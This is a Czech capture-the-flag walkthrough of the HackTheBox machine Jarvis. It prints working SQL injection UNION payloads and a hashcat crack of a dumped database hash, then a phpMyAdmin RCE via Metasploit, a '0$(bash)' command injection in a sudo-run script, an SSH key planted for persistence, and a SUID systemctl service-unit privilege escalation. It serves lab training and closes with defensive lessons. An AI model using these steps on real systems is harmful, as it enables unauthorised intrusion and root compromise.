Jarvis
Úvod a kontext
Jarvis je pěkný příklad vícekrokového webového řetězce. Začíná SQL injection v hotelové aplikaci, pokračuje přes přístup do phpMyAdmin, potom přes špatně napsaný interní Python skript přechází na účet pepper a končí zneužitím SUID systemctl.
V tomhle článku je důležité oddělit jednotlivé vrstvy. SQL injection sama o sobě nedává shell, ale dává hash databázového administrátora. phpMyAdmin z něj udělá první shell. Až následná lokální enumerace ukáže skript simpler.py, přes který se dá dostat ke stabilnímu SSH jako pepper.
Počáteční průzkum
Apache, phpMyAdmin a druhý web na 64999
První nmap ukáže klasický Apache na 80/tcp, ale také druhý HTTP server na 64999/tcp. K tomu navíc dirsearch odhalí veřejně přístupný phpMyAdmin, což je na internetově dostupném serveru vždy silná stopa.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch.py -u jarvis.htb -e php -x 403
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
=> /phpmyadmin/
Analýza zjištění
SQL injection v room.php
Hotelová aplikace sama nevydá shell, ale je injekovatelná přes parametr cod v room.php. UNION SELECT dovolí sáhnout až do mysql.user, takže se objeví účet DBadmin a jeho SHA1 hash.
http://supersecurehotel.htb/room.php?cod=666 UNION SELECT 1,2,3,4,5,6,7
http://supersecurehotel.htb/room.php?cod=666 UNION SELECT 1,user,3,password,5,6,7 from mysql.user
=> user: DBadmin
=> password: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
Jakmile je hash k dispozici, další krok je zřejmý: cracknout ho a zkusit heslo v administrativních nástrojích dostupných na hostu.
hashcat --force -m 300 -a 0 "2D2B7A5E4E637B8FBA1D17F40318F277D29964D0" /usr/share/wordlists/rockyou.txt
=> imissyou
phpMyAdmin jako cesta k prvnímu shellu
Heslo imissyou otevírá phpMyAdmin a přes známý modul phpmyadmin_lfi_rce vede k prvnímu shellu. Tím se z databázového přístupu stává skutečný systémový foothold.
msf (exploit/multi/http/phpmyadmin_lfi_rce)
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Získání přístupu
Přes simpler.py na účet pepper
První shell ještě neběží pod účtem, se kterým by se dobře pracovalo. Lokální sudo -l ale ukáže, že lze jako pepper spustit skript /var/www/Admin-Utilities/simpler.py. Ten nekorektně zpracuje parametr -p, takže vstup 0$(bash) vede ke command injection.
Jakmile je k dispozici shell jako pepper, je nejrozumnější si místo jednorázové session zapsat vlastní SSH klíč do authorized_keys a přepnout se na stabilní SSH.
sudo -S -u pepper /var/www/Admin-Utilities/simpler.py -p
0$(bash)
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBpuZ8+QR3hnONfIO2Y/vhoVRgVDpeOUrpxa+EOnRNhAV9/dYNoi/hOn0TTNcf0I5ws2UXkJAZsjH6IRImyRSDA5ly8K8lYqTyWRUGU1EGZ2ovlR2fjzOTaeuKY8VylnwQzQBNrFPoDZ6uKjpORoRszHQf9WzrtZ8M+zcpGO0MLPiuEl78INxwii7y94CAn1gl+xlrIgKAF3inpuTlaLvEljLe1JgsYKJIcZNplYgA9pcDx7HWFceyAUwpdc438kTiANtmz6863mjfuoZ1LQ9mK8pmR010L9eQhO8FGq15Hpru0AJzIuTNoEJKYsdBG6ttfQ4DLmey6h0IE5IkcqrfH9gAweGIJ68zn3Xh1GP9CWO8iKxkMZPemr5GhBKB1mr0ebCjuWwxzmzmzeBcIm6PlSkkt5iULsgdgsvu/ptFIFGVukajnihbK/b3uWCDtaJcgaSILoSomouxjfXqmAwj/TaM0qHsT7K9NZsPfOB5ZAXa2spPR+AGsJUYviAkFDPvgSeRrf2g9QW37pYw0Vjl+pmlehyW1Pl0RKi5eXxEQHZQddlDbpcwk6K9GVA04juJce5odDeWk0TUuxTgU2y1jnGnvQZSizjl6YcRXUNDXF2H/tFVKaW0D5acreO4JBU9cl6MCwWONLkV5GTLHNAEzIsSAk4NJw+ppfkBwBIs1Q== hack@t" >> ~/.ssh/authorized_keys
ssh pepper@jarvis.htb
cat user.txt
2afa36c4f05b37b34259c93551f5c44f
Eskalace oprávnění
SUID systemctl
Na účtu pepper už linpeas ukáže rozhodující stopu: SUID systemctl. To je extrémně nebezpečné, protože systemctl dovoluje vytvářet a spouštět systemd jednotky. Stačí připravit dočasný .service soubor, který jako ExecStart provede libovolný příkaz, a pak ho přes systemctl aktivovat.
./linpeas.sh
=> SUID systemctl
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
cat /tmp/output
d41d8cd98f00b204e9800998ecf84271
Shrnutí klíčových poznatků
- Jarvis nestojí na jednom exploitu, ale na navazující sérii slabin: SQL injection, databázové heslo,
phpMyAdmin, command injection a nakonec SUIDsystemctl. - Přechod na
pepperbyl zásadní, protože nahradil jednorázový webový shell stabilním SSH footholdem. - Root část dobře ukazuje, že i legitimní administrační nástroj se při špatných oprávněních mění v univerzální root primitivum.
Co si odnést do praxe
phpMyAdmina podobné nástroje nemají být veřejně dostupné. Jakmile se útočník dostane k databázovému heslu, je z nich téměř okamžitý systémový foothold.- Interní wrappery a utility typu
simpler.pymusí validovat vstupy stejně přísně jako veřejná aplikace. Jarvis ukazuje, že lokální helper se často stane slabším místem než původní web. - SUID
systemctlje v praxi ekvivalent roota. Pokud běžný účet smí vytvářet a spouštět systemd jednotky, obranná hranice mezi uživatelem a rootem už fakticky neexistuje.